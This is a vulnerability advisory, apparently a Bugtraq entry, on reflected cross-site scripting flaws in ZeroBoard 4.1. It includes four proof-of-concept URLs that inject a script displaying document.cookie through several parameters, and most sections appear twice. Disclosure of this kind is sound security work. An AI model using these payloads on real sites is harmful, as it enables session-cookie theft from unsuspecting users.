ZeroBoard Multiple Cross-Site Scripting Vulnerabilities
BID:12596
Info
ZeroBoard Multiple Cross-Site Scripting Vulnerabilities
| Bugtraq ID: | 12596 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Feb 19 2005 12:00AM |
| Updated: | Feb 19 2005 12:00AM |
| Credit: | Discovery is credited to albanian haxorz <[email protected]>. |
| Vulnerable: |
Zeroboard Zeroboard 4.1 pl6 Zeroboard Zeroboard 4.1 pl5 Zeroboard Zeroboard 4.1 pl4 Zeroboard Zeroboard 4.1 pl3 Zeroboard Zeroboard 4.1 pl2 |
| Not Vulnerable: | |
Discussion
ZeroBoard Multiple Cross-Site Scripting Vulnerabilities
ZeroBoard is reported prone to multiple cross-site scripting vulnerabilities.
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate theft of cookie-based authentication credentials as well as other attacks.
All versions of ZeroBoard are considered to be vulnerable at the moment.
ZeroBoard is reported prone to multiple cross-site scripting vulnerabilities.
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user. This may facilitate theft of cookie-based authentication credentials as well as other attacks.
All versions of ZeroBoard are considered to be vulnerable at the moment.
Exploit / POC
ZeroBoard Multiple Cross-Site Scripting Vulnerabilities
An exploit is not required.
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(document.cookie)%3C/script%3E
http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%
3C/script%3E
http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
An exploit is not required.
The following proof of concept examples are available:
http://www.example.com/zboard.php?id=gallery&sn1=ALBANIAN%20RULEZ='%3E%
3Cscript%3Ealert(document.cookie)%3C/script%3E
http://www.example.com/zboard.php?
id=union_schdule&year=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert
(document.cookie)%3C/script%3E
http://www.example.com/skin/dir/view_image.php?
filename=ALBANIAN%20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%
3C/script%3E
http://www.example.com/zboard.php?id=link&page=ALBANIAN%
20RULEZ='%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
Solution / Fix
ZeroBoard Multiple Cross-Site Scripting Vulnerabilities
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.
References
ZeroBoard Multiple Cross-Site Scripting Vulnerabilities
References:
References:
- Zeroboard Homepage (Zeroboard)
- Multiples vulnerability in ZeroBoard, ("albanian haxorz"